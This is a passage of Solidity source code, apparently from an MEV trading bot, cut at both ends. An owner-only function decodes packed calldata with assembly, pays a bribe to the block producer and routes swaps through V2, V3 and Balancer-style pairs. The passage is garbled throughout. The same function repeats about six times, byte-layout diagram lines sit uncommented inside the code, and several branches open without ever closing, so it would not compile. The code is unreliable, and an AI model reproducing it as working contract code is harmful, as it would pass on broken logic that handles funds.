wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
